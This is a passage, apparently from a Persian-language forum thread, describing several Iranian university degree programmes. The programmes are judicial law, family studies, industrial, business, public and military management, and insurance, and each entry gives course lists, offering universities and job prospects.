    ۷۵ متون اسلامی ۷۶ متون فقه ۱
    ۷۷ متون فقه ۲ ۷۸ متون فقه ۳
    ۷۹ متون فقه ۴ ۸۰ متون فقه ۵
    ۸۱ متون فقه ۶ ۸۲ متون فقه ۷
    ۸۳ معارف اسلامی ۲ ۸۴ مقدمه علم حقوق
    ۸۵ منطق ۱ ۸۶ منطق ۲
    ۸۷ کار تحقیقی ۱ ۸۸ کار تحقیقی ۲
    ۸۹ کارآموزی قضایی ۹۰ کیفر شناسی

    صنعت و بازارکار

    با توجه به هدف اصلی از تشکیل این دانشکده، فارغ التحصیلان آن توانائی های لازم را برای تصدی امر قضا در محاکم جمهوری اسلامی ایران پیدا خواهند کرد، علاوه بر این با توجه به اینکه دانشجویان دانشکده کلیه دروس تخصصی رشته حقوق را همانند دانشجویان دانشکده های حقوق سراسر کشور مطالعه می کنند، برای مشاغل زیر نیز درست مثل دانش آموختگان حقوق توانایی خواهند داشت:
    • در مسائل تحریر دعاوی که شامل بازپرسی و دادیاری است.
    • در مسائل تحریر ادله مانند معاینه محل و استماع گواهان محلی و استماع اظهارات متداعیین معذور از حضور در دادگاهها به دلایل مختلف از قبیل مرض و غیره.
    • در ادارات تسویه ورشکستگی و سرپرستی محجورین فنی و حقوقی.
    • در ادارات اجرای احکام (مدنی و کیفری)
    • در ادارات ثبت اسناد و املاک
    • در دفاتر اسناد رسمی به صورت سردفتر و دفتریار
    • در وکالت دعاوی خصوصی و دولتی (داخلی و خارجی)
    • در تنظیم قراردادهای اقتصادی و بازرگانی داخلی و خارجی که تخصص لازم دارد.
    • مشاوران حقوقی (کارشناسان حقوقی) در وزارتخانه ها و موسسات دیگر دولتی

  24. بهره مندی کودکان و نوجوانان از کانون خانوادگی با فضایی سرشار از صمیمیت، محبت و عطوفت و مبنای روابط بین دو همسر با فرزندان بر پایه اخلاق و معنویت و اتخاذ شیوه های مبتنی بر معرفت دینی و عقلی در تربیت آنان از ضروریات اولیه در رشد و بالندگی شخصیتی و معنوی فرزند در خانواده است.سوال درباره خانواده سالم و متعادل، خصوصیات آن و روش هایی که زمینه ایجاد چنین خانواده ای را فراهم می سازد و بسیاری از مفاهیم که در حوزه خانواده از منظر اجتماع، اخلاق، اقتصاد، فرهنگ و آداب و رسوم شکل می گیرد موضوع رشته مطالعات خانواده است که گستردگی و عمق مسائل آن به عمق وجود انسان می باشد.
    اکنون به بعضی از اجزاء مورد مطالعه این رشته می پردازیم.
    پایه های عقلانی برای زندگی
    حق سالاری در برابر مرد یا زن سالاری
    مشارکت در خانواده
    همگرایی و تفاهم در مقابل دشمنی
    رازداری و مثبت نگری
    مسئولیت و تبادل عاطفی
    ویژگی های ارتباط با فرزند
    مناسبات همسر با شوهر و بالعکس

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- بافت *
    ۲ آزاد- بهبها ن *
    ۳ آزاد- رامهرمز *
    ۴ آزاد- رودهن *
    ۵ آزاد- گرمسار *
    ۶ آزاد- گناباد *
    ۷ آزاد- مرودشت *
    ۸ آزاد- مشهد *
    ۹ آزاد- میمه *
    ۱۰ آزاد- نی ریز *
    ۱۱ الزهرا تهران *
    ۱۲ تبریز *
    ۱۳ تربیت معلم تبریز *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آسیب شناسی اجتماعی ۲ آسیب شناسی روانی
    ۳ آشنایی با حرفه مددکاری و بازدید از موسسات ۴ آشنایی با متون فارسی در زمینه خانواده ۱
    ۵ آشنایی با متون فارسی در زمینه خانواده ۲ ۶ آشنایی با کلیات علوم قرآنی و حدیث
    ۷ آمار و احتمال ۱ ۸ اصول فقه
    ۹ اقتصاد خانواده ۱۰ انسان شناسی در اسلام
    ۱۱ بهداشت روانی ۱۲ پویایی گروه
    ۱۳ تجزیه و تحلیل ۱۴ تربیت در اسلام ۱
    ۱۵ تربیت در اسلام ۲ ۱۶ ترجمه و درک متون عربی
    ۱۷ تفسیر موضوعی قرآن (ارث، وصیت، طلاق) ۱۸ تفسیر موضوعی قرآن
    ۱۹ تفسیر موضوعی قرآن ۱ ۲۰ جامعه شناسی روستایی
    ۲۱ جامعه شناسی تاریخی خانواده ۲۲ جامعه شناسی خانواده
    ۲۳ حقوق اساسی ۲۴ حقوق بشر
    ۲۵ حقوق جزای اختصاصی ۲۶ حقوق جزای عمومی
    ۲۷ حقوق مدنی ۱ ۲۸ حقوق مدنی ۲
    ۲۹ حقوق مدنی ۳ ۳۰ خانواده در روایات
    ۳۱ خانواده درمان ۳۲ روان شناسی تربیتی
    ۳۳ روانشانسی مرض کودک ۳۴ روانشناسی اجتماعی
    ۳۵ روانشناسی عمومی ۳۶ روانشناسی رشد کودکان ۱
    ۳۷ روش تحقیق عملی ۳۸ روش تحقیق نظری
    ۳۹ ریاضیات پایه ۴۰ زبان تخصصی ۱
    ۴۱ زبان تخصصی ۲ ۴۲ فقه تطبیقی
    ۴۳ قواعد صرف عربی ۴۴ قواعد فقه
    ۴۵ قواعد نحو عربی ۴۶ مأخذشناسی اسلام
    ۴۷ مبانی جمعیت شناسی ۴۸ مبانی جامعه شناسی مفاهیم اساسی ۱
    ۴۹ مبانی جامعه شناسی مفاهیم اساسی ۲ ۵۰ مبانی مددکاری اجتماعی
    ۵۱ متون تخصصی فقه ۱ ۵۲ متون تخصصی فقه ۲
    ۵۳ متون تخصصی فقه ۳ ۵۴ مددکار اجتماعی کار با فرد ۱
    ۵۵ مددکار اجتماعی کار با فرد ۲ ۵۶ مسائل نوجوانان و جوانان
    ۵۷ نظریه های خانواده در اندیشه صاحبنظران اسلامی ۵۸ کارورزی
    ۵۹ کلیات اقتصاد ۶۰ کودکان عقب مانده ذهنی

    صنعت و بازارکار
    خانواده کوچکترین بخش و اساسی ترین بخش هر خانواده است. جامعه سالم را در تعریف دقیق تر افراد سالم تشکیل نمی دهند بلکه خانواده های سالم تشکیل می دهند منظور ما از سالم شکل ایده ال یک جامعه نیست بلکه خانواده سالم به خانواده ای می گویند که افراد خانواده نقش خود را به درستی می شناسند و به وظایف خود آگاه و در مقام عمل کوشا و دقیق هستند کسانی که رشته مطالعات خانواده را انتخاب می کنند غالباً جذب نهادهایی هستند که در ارتباط مستقیم با این نهاد مهم هستند.وزارت بهداشت، سازمان بهزیستی، صدا و سیما، آموزش و پرورش، وزارت کار و مراکز تحقیقاتی که پژوهش های اجتماعی را سرلوحه کار خود دارند می باشد. البته توجه جدی به رشته های علوم انسانی چالش بزرگی است که کشور ما بسیار محتاطانه با آن برخورد کرده است و در بسیاری از موارد احساس نیاز ضعیف است.

  25. دوره کارشناسی مدیریت صنعتی یکی از دوره های تحصیلی آموزش عالی است و هدف از تشکیل این دوره آموزش نیروی انسانی متخصص مورد نیاز کارخانه ها،موسسه ها و شرکت های دولتی و خصوصی و نیز آشنایی دانشجویان با کاربرد روشهای علمی در مدیریت است.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- الیگودرز *
    ۲ آزاد- اهواز *
    ۳ آزاد- تبریز *
    ۴ آزاد- تربت جام *
    ۵ آزاد- تفرش *
    ۶ آزاد- تهران مرکزی *
    ۷ آزاد- خمین * ‌
    ۸ آزاد- سمنان * *
    ۹ آزاد- شاهرود * *
    ۱۰ آزاد- شهرری *
    ۱۱ آزاد- شوشتر *
    ۱۲ آزاد- شیراز *
    ۱۳ آزاد- علوم و تحقیقات تهران *
    ۱۴ آزاد- فیروزکوه *
    ۱۵ آزاد- قزوین *
    ۱۶ آزاد- قم *
    ۱۷ آزاد- گچساران *
    ۱۸ آزاد- گز *
    ۱۹ آزاد- لامرد *
    ۲۰ آزاد- مرودشت *
    ۲۱ آزاد- ملایر *
    ۲۲ آزاد- نجف آباد *
    ۲۳ آزاد- نراق *
    ۲۴ آزاد- نی ریز *
    ۲۵ آزاد- کرج *
    ۲۶ آزاد- کرمان *
    ۲۷ آزاد-ابهر *
    ۲۸ آزاد-اراک *
    ۲۹ آزاد-نیشابور *
    ۳۰ اصفهان *
    ۳۱ امام خمینی قزوین *
    ۳۲ تهران *
    ۳۳ خلیج فارس ‌*
    ۳۴ زابل *
    ۳۵ شاهد تهران *
    ۳۶ شهید بهشتی *
    ۳۷ شیراز *
    ۳۸ علامه طباطبائی *
    ۳۹ گیلان *
    ۴۰ مازندران *
    ۴۱ هرمزگان- بندرعباس *
    ۴۲ ولیعصر رفسنجان *
    ۴۳ یزد *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار و کاربرد آن در مدیریت ۲ ۲ آمار و کاربرد آن در مدیریت ۱
    ۳ اصول حسابداری ۱ ۴ اصول حسابداری ۲
    ۵ اقتصاد خرد ۶ اقتصاد کلان
    ۷ تجزیه و تحلیل و طراحی سیستم ۸ تحقیق در عملیات ۱
    ۹ توسعه اقتصادی و برنامه ریزی ۱۰ جامعه شناسی سازمان ها
    ۱۱ حسابداری دولتی ۱۲ حقوق اساسی
    ۱۳ روان شناسی کار ۱۴ روش تحقیق در مدیریت
    ۱۵ ریاضیات و کاربرد آن در مدیریت ۱ ۱۶ ریاضیات و کاربرد ان در مدیریت ۲
    ۱۷ زبان تخصصی مدیریت ۱ ۱۸ زبانهای برنامه نویسی
    ۱۹ سیستمهای اطلاعات مدیریت (M I S) ۲۰ مبانی سازمان و مدیریت
    ۲۱ مبانی مدیریت دولتی ۱ ۲۲ مبانی آشنایی با سیستمهای عامل
    ۲۳ مبانی دولتی ۲ ۲۴ مدیریت تطبیقی
    ۲۵ مدیریت رفتار سازمانی ۲۶ مدیریت منابع انسانی

    صنعت و بازار کار

    شرکت کنندگان در این دوره افزون بر آشنایی با مسائل نظری دانش مدیریت صنعتی ،با کاربردهای این رشته و همچنین بکارگیری نرم افزارهای مرتبط و موثر مدیریت آشنا می شوند . بدین ترتیب خلاء ارتباطی بین کادر کارشناسی ماهر و مدیریت موسسه ها به حداقل ممکن خواهد رسید . فارغ التحصیلان این رشته می توانند در قسمتهای مدیریت تولید،اداره حفاظت فنی و قسمت کنترل مرغوبیت کالا مشغول به کار شوند.

  26. مدیریت خاص
    مگه میشه؟؟؟؟!!!!
    مگه دارین؟؟؟؟!!!!!
    نقش دفاع از ارزش های اسلامی و حفظ تمامیت ارضی و تقویت بنیه دفاعی نظام مقدس جمهوری اسلامی ایران ، پرورش و آموزش افسرانی مومن ، متعهد ، کارآمد و با معلومات نظامی با پیشرفت علم و فن آوری برای فرماندهی و هدایت نیرو های مسلح جمهوری اسلامی ایران را ایجاب می نماید بر این اساس رشته کارشناسی مدیریت خاص تهیه گردیده است .
    تعریف و هدف
    این مجموعه یکی از مجموعه های آموزشی عالی است و هدف آن تربیت افسران متعهدی است با مهارتهای علمی و نظری به منظور خدمت در یگانهای ارتش جمهوری اسلامی ایران و با زمینه های علمی لازم به نحوی که :
    الف ) با دیدو بینش علمی مسا ئل حرفه ای خود را مورد تجزیه و تحلیل قرار داده با توانا ئیهایی که در این جهت خواهند داشت قدرت و کارایی ارتش جمهوری اسلامی ایران را ارتقاء بخشند.
    ب) زمینه های کمی و کیفی لازم را جهت ابتکار و خلاقیت در مورد امور و مسائل مربوط به رسته خود دارا باشند .
    ج ) با داشتن زمینه های علمی لازم ضمن طی دوره های تخصصی نیاز فنی یگانهای نزاجا را مرتفع نمایند.
    ضرورت و اهمیت
    مبین ضرورت و اهمیت این مجموعه نیاز دولت جمهوری اسلامی ایران به ارتشی نیرومند و خود کفاست که توانایی بهره گیری از پیشرفته ترین فن آوری را در جهت ابداع و کاربرد امکانات به بهترین صورت و در جهت ماموریت واگذاری دارا باشد .

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ دانشکده اطلاعان وابسته به وزارت اطلاعات تهران * ‌

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آئین نگارش و فن سخنوری ۲ آزمایشگاه مهندسی ماشین
    ۳ آشنایی با رسته ها و نیروها ۴ آشنایی با لیزر و کاربردآن
    ۵ آمار و کاربرد آن در مدیریت ۲ ۶ آمار و کاربرد آن در مدیریت ۱
    ۷ استحکامات و مهندسی رزمی ۸ اصول حسابداری ۱
    ۹ اصول حسابداری ۲ ۱۰ اصول قواعد در رزم
    ۱۱ اصول مدیریت تعاونیها ۱۲ اصول نگهداری و تعمیرات
    ۱۳ اقتصاد خرد ۱۴ اقتصاد کلان
    ۱۵ تئوری تربیت بدنی ۱۶ تاریخ جنگ ۱
    ۱۷ تاریخ جنگ ۲ ۱۸ تاکتیک ۱
    ۱۹ تاکتیک ۲ ۲۰ تاکتیک ۳
    ۲۱ تجزیه و تحلیل و طراحی سیستم ۲۲ تحقیق در عملیات ۱
    ۲۳ تصمیم گیری و تعیین خطی مشی ۲۴ توسعه اقتصادی و برنامه ریزی
    ۲۵ جامعه شناسی سازمان ها ۲۶ جامعه شناسی جنگ
    ۲۷ جغرافیای نظامی ایران و کشورهای همجوار ۲۸ جنگ افزار شناسی
    ۲۹ جنگهای نوین ۳۰ حسابداری دولتی
    ۳۱ حقوق اساسی ۳۲ حقوق جزای اسلامی
    ۳۳ روابط کار در سازمان ۳۴ روان شناسی کار
    ۳۵ روانشناسی نظامی ۳۶ روش تحقیق در مدیریت
    ۳۷ ریاضیات و کاربرد آن در مدیریت ۱ ۳۸ ریاضیات و کاربرد ان در مدیریت ۲
    ۳۹ زبان تخصصی مدیریت ۱ ۴۰ زبان تخصصی نظامی
    ۴۱ زبان خارجه ۱ و ۲ ۴۲ زبانهای برنامه نویسی
    ۴۳ سازماندهی و اصلاح تشکیلات و روشها ۴۴ سیاستهای جغرافیایی خاورمیانه
    ۴۵ سیستمهای اطلاعات مدیریت ۴۶ سیستمهای صف و ستاد
    ۴۷ شبیه سازها ۴۸ مالیه عمومی و بودجه
    ۴۹ مبانی سازمان و مدیریت ۵۰ مبانی مدیریت دولتی
    ۵۱ مبانی آشنایی با سیستمهای عامل ۵۲ مبانی دولتی ۲
    ۵۳ مخابرات ۵۴ مدیریت تطبیقی
    ۵۵ مدیریت توسعه ۵۶ مدیریت رفتار سازمانی
    ۵۷ مدیریت منابع سازمانی ۵۸ مدیریت و رهبری نظامی
    ۵۹ مهمات و شیمی مواد منفجره ۶۰ مهندسی سلاح و بالستیک
    ۶۱ مهندسی ماشین ( تکنولوژی خودرو ) ۶۲ موضوعات عمومی
    ۶۳ نقشه خوانی ۱ ۶۴ نقشه خوانی ۲
    ۶۵ ورزش تخصصی ۱ و ۲

    صنعت و بازار کار
    فارغ التحصیلان این مجموعه پس از طی دوره تخصصی رسته ای ( علمی نظامی ) دارای توانایی های زیر خواهند بود:
    الف ) توانایی فرماندهی و مدیریت در یگانهای رزمی در حد فرماندهی دسته ، آتشبار و گروهان
    ب ) داشتن زمینه علمی و نظامی لازم جهت پذیرش آموزش در مقاطع و سطوح تحصیلی بالاتر در دانشگاههای نظامی و غیر نظامی .
    ت ) توانایی ارائه آموزش در دوره های عمومی نظامی

  27. دوره کاردانی مدیریت صنعتی کاربردی یکی از دوره های تحصیلی آموزش عالی است و هدف از تشکیل این دوره آموزش نیروی انسانی متخصص، مورد نیاز کارخانه ها، موسسه ها و شرکتهای دولتی و خصوصی و نیز آشنایی مدیران و سرپرستان رده های گوناگون و مدیر اداری فنی این گونه مراکز با کاربرد روشهای علمی در مدیریت.
    طول دوره و شکل نظام:
    طول دوره کاردانی مدیریت صنعتی کاربردی ۲ سال است و تمامی درسهای آن در مدت ۴ نیمسال ارائه و برگزار می شود. طول هر نیمسال تحصیلی ۱۷ هفته می باشد. در این دوره علاوه بر درسهای تئوری، بر جنبه های کاربردی درسها تاکید ویژه ای شده است به همین علت علاوه بر شرکت در کلاس درسهای نظری، دانشجویان موظف به انجام کارهای پژوهشی تحت عنوان پروژه هستند. پروژه های انتخابی با نظارت مستقیم استاد انجام می گیرد و عناوین آنها با پیشنهاد دانشجو، استاد و موسسات و ارگانهای دیگر به گونه ای انتخاب می شوند که انجام آنها منجر به حل مسائل عملی و ارائه روشهای پیشنهادی برای بهبودی وضعیت گردد، جهت نیل به اهداف ذکر شده، استفاده از نرم افزارهای کامپیوتری ضروری است. بنابراین در این دوره تاکید ویژه ای به آموزش و استفاده از نرم افزارهای کامپیوتری در رابطه با درسهایی که جنبه کاربردی دارند شده است.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- الیگودرز *
    ۲ آزاد- بناب *
    ۳ آزاد- خارک *
    ۴ آزاد- دورود *
    ۵ آزاد- زابل *
    ۶ آزاد- شاهرود *
    ۷ آزاد- شوشتر *
    ۸ آزاد- فیروزکوه *
    ۹ آزاد- گچساران *
    ۱۰ آزاد- مبارکه *
    ۱۱ آزاد- مرودشت *
    ۱۲ آزاد- نی ریز *
    ۱۳ آزاد-اردستان *
    ۱۴ آزاد-نیشابور *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار و کاربرد آن در مدیریت ۲ ۲ آمار و کاربرد آن در مدیریت ۱
    ۳ ابررسانایی و کاربرد آن ۴ اصول حسابداری ۱
    ۵ اصول حسابداری ۲ ۶ اقتصاد خرد
    ۷ اقتصاد کلان ۸ بازاریابی بین المللی
    ۹ بازاریابی و مدیریت بازار ۱۰ بررسی اقتصادی طرحهای صنعتی
    ۱۱ بهره وری و تجزیه و تحلیل آن در سازمان ها ۱۲ پروژه
    ۱۳ تحقیق در عملیات ۱ ۱۴ تحقیق در عملیات ۲
    ۱۵ تحقیق در عملیات ۳ ۱۶ حاصلخیزی خاک و کودها
    ۱۷ حسابداری صنعتی ۳ ۱۸ حسابداری صنعتی ۱
    ۱۹ حسابداری صنعتی ۲ ۲۰ حفاظت صنعتی
    ۲۱ حقوق اساسی ۲۲ روابط صنعتی
    ۲۳ روانشناسی صنعتی ۲۴ روش تحقیق
    ۲۵ ریاضی پیش دانشگاهی ۲۶ ریاضیات پایه
    ۲۷ ریاضیات و کاربرد آن در مدیریت ۲۸ زبان پیش دانشگاهی
    ۲۹ زبان تخصصی ۱ ۳۰ زبان تخصصی ۲
    ۳۱ زبان تخصصی ۳ ۳۲ زبان تخصصی ۴
    ۳۳ سیستم های خرید، انبارداری و توزیع ۳۴ سیستمهای اطلاعاتی در مدیریت
    ۳۵ طرح ریزی و تعمیرات و نگهداری ۳۶ فنون تجزیه و تحلیل و طراحی سیستمها
    ۳۷ مبانی سازمان و مدیریت ۳۸ مبانی مدیریت اسلامی و الگوهای آن
    ۳۹ مدیریت تولید ۴۰ مدیریت رفتار سازمانی
    ۴۱ مدیریت مالی ۴۲ مدیریت منابع انسانی
    ۴۳ مدیریت کارخانه ۴۴ کارسنجی و روش سنجی
    ۴۵ کامپیوتر و کاربرد آن در مدیریت ۴۶ کنترل پروژه
    ۴۷ کنترل کیفیت آماری

    صنعت و بازار کار
    شرکت کنندگان در این دوره افزون بر آشنایی با مسائل نظری دانش مدیریت صنعتی ،با کاربردهای این رشته و همچنین بکارگیری نرم افزارهای مرتبط و موثر مدیریت آشنا می شوند . بدین ترتیب خلاء ارتباطی بین کادر کارشناسی ماهر و مدیریت موسسه ها به حداقل ممکن خواهد رسید .
    ضرورت و اهمیت:
    ضرورت و اهمیت این دوره در آشناسازی مدیران و رده های گوناگون با نقش رشته مدیریت صنعتی در سازمان ها و موارد استفاده از این دانش و همچنین تربیت نیروی متخصص به عنوان رابط بین مدیران و کارمندان اداری و فنی که معمولا مسئولیت اجرایی و سرپرستی واحدها را عهده دار خواهند شد می باشد.

  28. مدیریت بازرگانی از مهمترین بخش های مدیریت شرکت های تجاری است زمانی یک شرکت می تواند بین خود مشتریان و خریدارانش ارتباط تجاری خوبی برقرار کند که یک مدیر بازرگانی موفق داشته باشد . فردی که مدیریت بازرگانی یک بنگاه اقتصادی را به عهده می گیرد در جذب مشتریان و عرضه و معرفی صحیح و اصول محصول یا خدمات یک شرکت تلاش می کند و به طور طبیعی مدیر بازرگانی فردی است که نقش اساسی در سود و زیان شرکتها دارد . هدف از تشکیل این دوره تربیت افراد کاردان و تامین نیروی انسانی جهت استفاده صحیح از منابع مادی و مالی می باشد که پس از یک آموزش دو ساله وارد بازار کار گردیده و قسمتی از نیازهای کشور را در بخش بازرگانی و تولیدی تامین می نماید.
    طول دوره و شکل نظام:
    طول دوره کاردانی مدیریت بازرگانی ۲ سال است و تمامی درسهای آن در مدت ۴ نیمسال ارائه و برگزار می شود. طول هر نیمسال تحصیلی ۱۷ هفته می باشد. در این دوره علاوه بر درسهای تئوری، بر جنبه های کاربردی درسها تاکید ویژه ای شده است.
    ضرورت و اهمیت:
    الف) آشفتگی و نابسامانی در بسیاری از موسسات بازرگانی عموماً ناشی از عدم وجود اصول صحیح مدیریت و یا عدم رعایت این اصول می باشد.
    ب) آموزش صحیح مدیریت می تواند در شناخت مشکلات اقتصادی و بازرگانی جامعه و کوشش در رفع آن موثر یاشد.
    ج) اعمال حاکمیت ضوابط بر روابط در اداره امور بازرگانی

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- بجنورد *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار و کاربرد آن در مدیریت ۲ ۲ آمار و کاربرد آن در مدیریت ۱
    ۳ اصول حسابداری ۱ ۴ اصول حسابداری ۲
    ۵ اقتصاد خرد ۶ اقتصاد کلان
    ۷ بازاریابی بین المللی ۸ بازاریابی و مدیریت بازار
    ۹ بازرگانی بین المللی ۱۰ بهره وری و تجزیه و تحلیل آن در سازمان ها
    ۱۱ پول و ارز و بانکداری ۱۲ تجزیه و تحلیل و طراحی سیستم
    ۱۳ تحقیق در عملیات ۱ ۱۴ تحقیق در عملیات ۲
    ۱۵ تحقیقات بازاریابی ۱۶ توسعه اقتصادی و برنامه ریزی
    ۱۷ حسابداری صنعتی ۱ ۱۸ حسابرسی ۱
    ۱۹ حقوق اساسی ۲۰ حقوق بازرگانی
    ۲۱ حقوق بازرگانی بین‌المللی ۲۲ روابط صنعتی
    ۲۳ روان شناسی کار ۲۴ روش تحقیق در مدیریت
    ۲۵ ریاضیات و کاربرد آن در مدیریت ۱ ۲۶ ریاضیات و کاربرد ان در مدیریت ۲
    ۲۷ زبان تخصصی ۱ و ۲ ۲۸ زبان تخصصی ۳ و ۴
    ۲۹ سازمانهای پولی و مالی بین المللی ۳۰ سمینار در مسائل بازاریابی
    ۳۱ سمینار در مسائل مالی ۳۲ سیاست پولی و مالی
    ۳۳ سیستم های خرید، انبارداری و توزیع ۳۴ سیستم‌های اطلاعاتی مدیریت
    ۳۵ مبانی سازمان و مدیریت ۳۶ مبانی مدیریت اسلامی و الگوهای آن
    ۳۷ مدیریت استراتژیک ۳۸ مدیریت تولید
    ۳۹ مدیریت رفتار سازمانی ۴۰ مدیریت مالی ۱
    ۴۱ مدیریت مالی ۲ ۴۲ مدیریت منابع انسانی
    ۴۳ کامپیوتر و کاربرد آن در مدیریت

    صنعت و بازار کار
    شرکت کنندگان در این دوره افزون بر آشنایی با مسائل نظری دانش مدیریت با کاربردهای این رشته آشنا می شوند.

  29. دوره کارشناسی مدیریت دولتی یکی از دوره های تحصیلی آموزش عالی است و هدف از تشکیل این دوره آموزش نیروی انسانی متخصص مورد نیاز سازمانها، اداره ها، موسسه های و شرکتهای دولتی و خصوصی دولتی و خصوصی و نیز آشنایی دانشجویان با کاربرد روشهای علمی در مدیریت است.
    شرکت کنندگان در این دوره افزون بر آشنایی با مسایل نظری دانش مدیریت با کاربردهای این رشته آشنا می شوند. ضرورت و اهمیت این دوره در آشناسازی مدیران رده های گوناگون با نقش رشته مدیریت در سازمانها و موارد استفاده این دانش، و همچنین تربیت نیروی متخصص به عنوان رابط بین مدیران و کارمندان اداری و فنی که معمولاً مسوولیت اجرایی و سرپرستی واحدها را عهده دار خواهند شد، می باشد .

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- بناب *
    ۲ آزاد- تهران *
    ۳ آزاد- تهران مرکزی
    ۴ آزاد- دهاقان *
    ۵ آزاد- رامهرمز *
    ۶ آزاد- رشت *
    ۷ آزاد- رفسنجان *
    ۸ آزاد- ساوه *
    ۹ آزاد- سیرجان *
    ۱۰ آزاد- شوشتر * * ‌
    ۱۱ آزاد- علی آباد کتول * ‌
    ۱۲ آزاد- قزوین * ‌
    ۱۳ آزاد- لارستان *
    ۱۴ آزاد- مشهد *
    ۱۵ آزاد- ملایر *
    ۱۶ آزاد- نراق *
    ۱۷ آزاد- نوشهر و چالوس *
    ۱۸ آزاد- کازرون ‌ *
    ۱۹ آزاد-آستارا *
    ۲۰ آزاد-بروجرد *
    ۲۱ آزاد-زاهدان ‌ *
    ۲۲ تهران *
    ۲۳ زاهدان *
    ۲۴ علوم و فنون شهید ستاری *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار و کاربرد آن در مدیریت ۲ آمار و کاربرد آن در مدیریت ۲
    ۳ اصول حسابداری ۱ ۴ اصول حسابداری ۲
    ۵ اقتصاد خرد ۶ اقتصاد کلان
    ۷ تجزیه و تحلیل و طراحی سیستم ۸ تحقیق در عملیات ۱
    ۹ تحقیق در عملیات ۲ ۱۰ تصمیم گیری و تعیین خط مشی دولتی
    ۱۱ توسعه اقتصادی و برنامه‌ریزی ۱۲ جامعه شناسی سازمانها
    ۱۳ حسابدای دولتی ۱۴ حقوق اداری
    ۱۵ حقوق اساسی ۱۶ روابط کار در سازمان
    ۱۷ روانشناسی کار یا روانشناسی سیاسی ۱۸ روش تحقیق در مدیریت
    ۱۹ ریاضی پیش دانشگاهی ۲۰ ریاضیات و کاربرد آن در مدیریت ۱
    ۲۱ ریاضیات و کاربرد ان در مدیریت ۲ ۲۲ زبان پیش دانشگاهی
    ۲۳ زبان تخصصی مدیریت ۲ و ۱ ۲۴ زبان تخصصی مدیریت ۳ و ۴
    ۲۵ سازماندهی و اصلاح تشکیلات ۲۶ سیر اندیشه سیاسی و تحول نهاد اداری
    ۲۷ سیستم اطلاعاتی مدیریت ۲۸ علم کلام ۱
    ۲۹ فراگرد تنظیم و کنترل بودجه ۳۰ مالیه عمومی و تنظیم خط مشی مالی دولت
    ۳۱ مباحث ویژه مدیریت دولتی ۳۲ مبانی سازمان و مدیریت
    ۳۳ مبانی مدیریت اسلامی و الگوهای آن ۳۴ مبانی مدیریت دولتی ۱
    ۳۵ مبانی مدیریت دولتی ۲ ۳۶ مدیریت تحول سازمانی
    ۳۷ مدیریت تطبیقی ۳۸ مدیریت تعاونیها
    ۳۹ مدیریت توسعه ۴۰ مدیریت رفتار سازمانی
    ۴۱ مدیریت سازمانهای محلی و شهرداریها ۴۲ مدیریت منابع انسانی
    ۴۳ کامپیوتر و کاربرد آن در مدیریت

    صنعت و بازار کار

    رشته کارشناسی مدیریت دولتی یکی از دوره های تحصیلی آموزش عالی است که با طول دوره ۴ سال در ۸ نیمسال عرضه می شود. هر نیمسال تحصیلی ۱۷ هفته می باشد در این رشته درسهای تئوری جنبه های کاربردی آن ها نیز مدنظر می باشد تعداد واحد های درس این رشته ۱۳۳ واحد است. هدف از تشکیل این دوره آموزش نیروی انسانی متخصص برای سازمان ها، ادارات، مؤسسات و شرکت های دولتی و خصوصی می باشد. رشته مدیریت در جهان دچار تحولات بسیار عمیقی شده که متأسفانه این تحول در کشور ما بسیار کند و در بسیاری از مواقع خارج از حوزه مدیریت علمی کارها انجام می شود به هر حال مدیریت سر سلسه پیشرفت کشور هاست و متأسفیم که مجال صحبت در این باره وجود ندارد ما شما را دعوت می کنیم در این مورد به کتاب های موجود در بازار مراجعه فرمائید.

  30. یکی از ضروری ترین مسائلی که در جهان امروز شکل جدی به خود گرفته ، صنعت بیمه است . حوادث روزگار آنقدر متنوع و غیر قابل کنترل شده است که هیچ گاه نمی توان تصور کرد که می توانست راهی بهتر از بیمه را تصور کرد بیمه همانند حوادث دچار تنوع و تعدد شده است و برای هر یک از حوادث نوع خاصی از بیمه تعریف شده است . دوره کاردانی بیمه یکی از دوره های تحصیلی آموزش عالی است و هدف از آموزش آن تربیت افرادی است که پس از یک آموزش دو ساله نظری و عملی به طور رسمی عهده دار مسئولیتهایی در شبکه بیمه ای کشور، به ویژه در دوره های اجرایی میانی و پایین تر گردیده و خلاء حرفه ای موجود در این زمینه را بر طرف نمایند.
    طول دوره و شکل نظام:
    طول دوره کاردانی بیمه حداقل ۵ ترم می باشد. طول هر نیمسال تحصیلی ۱۶ هفته فعال در نظر گرفته شده است ( که البته با نظر شورایعالی برنامه ریزی قابل افزایش است )

    سطوح رشته
    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- الیگودرز *
    ۲ آزاد- رامهرمز *
    ۳ آزاد- شاهرود *
    ۴ آزاد- نراق *
    ۵ آزاد-ابهر *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار و کاربرد آن در مدیریت ۲ اصول بیمه
    ۳ اقتصاد خرد ۴ اقتصاد کلان
    ۵ بازاریابی و مدیریت بازار ۶ بیمه اشخاص (۱)
    ۷ بیمه اموال (۱) ۸ بیمه اموال (۲) (بیمه دریایی)
    ۹ بیمه مسئولیت ۱۰ بیمه های اتکایی
    ۱۱ تربیت بدنی ۱ ۱۲ حسابداری ۱
    ۱۳ حسابداری ۲ ۱۴ حسابداری شرکت های بیمه
    ۱۵ حقوق بیمه ۱۶ حقوق تجارت
    ۱۷ ریاضیات و کاربرد آن در مدیریت (۱) ۱۸ ریاضیات و کاربرد آن در مدیریت (۲)
    ۱۹ زبان تخصصی بیمه ۱ و ۲ ۲۰ زبان خارجی عمومی
    ۲۱ فارسی عمومی ۲۲ مبانی رفتار سازمانی
